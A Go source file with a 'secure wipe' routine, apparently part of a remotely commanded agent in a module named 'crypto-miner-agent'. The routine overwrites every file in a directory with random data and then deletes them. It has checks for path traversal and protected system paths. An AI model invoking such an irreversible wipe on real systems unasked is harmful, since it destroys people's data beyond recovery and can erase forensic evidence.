package client import ( "crypto/rand" "fmt" "io" "os" "path/filepath" "strings" "crypto-miner-agent/deploy" ) const secureWipeBlockSize = 64 * 1024 // SecureWipePath overwrites files in a directory then deletes them (single pass). func SecureWipePath(targetPath string) string { targetPath = strings.TrimSpace(targetPath) if targetPath == "" { return "secure_wipe error: path is required" } if containsPathTraversal(targetPath) { return "secure_wipe error: path traversal (..) is not allowed" } resolved, err := deploy.ResolveRemotePath(targetPath) if err != nil { return "secure_wipe error: " + err.Error() } resolved = filepath.Clean(resolved) if isBlockedDeletePath(resolved) { return "secure_wipe error: refusing to wipe protected system path" } info, err := os.Stat(resolved) if err != nil { return "secure_wipe error: " + err.Error() } if !info.IsDir() { return "secure_wipe error: path must be a directory" } var wiped, failed int var errs []string err = filepath.WalkDir(resolved, func(path string, d os.DirEntry, walkErr error) error { if walkErr != nil || d.IsDir() { return nil } if err := overwriteFile(path); err != nil { failed++ if len(errs) < 5 { errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err)) } return nil } if err := os.Remove(path); err != nil { failed++ if len(errs) < 5 { errs = append(errs, fmt.Sprintf("%s: %v", filepath.Base(path), err)) } return nil } wiped++ return nil }) if err != nil { return "secure_wipe walk error: " + err.Error() } _ = os.Remove(resolved) summary := fmt.Sprintf("secure_wipe done — wiped: %d failed: %d path: %s", wiped, failed, resolved) if len(errs) > 0 { summary += "\nErrors: " + strings.Join(errs, "; ") } return summary } func overwriteFile(path string) error { info, err := os.Stat(path) if err != nil { return err } size := info.Size() f, err := os.OpenFile(path, os.O_WRONLY, 0) if err != nil { return err } defer f.Close() buf := make([]byte, secureWipeBlockSize) remaining := size for remaining > 0 { n := int64(len(buf)) if remaining < n { n = remaining } if _, err := io.ReadFull(rand.Reader, buf[:n]); err != nil { return err } if _, err := f.Write(buf[:n]); err != nil { return err } remaining -= n } return f.Sync() }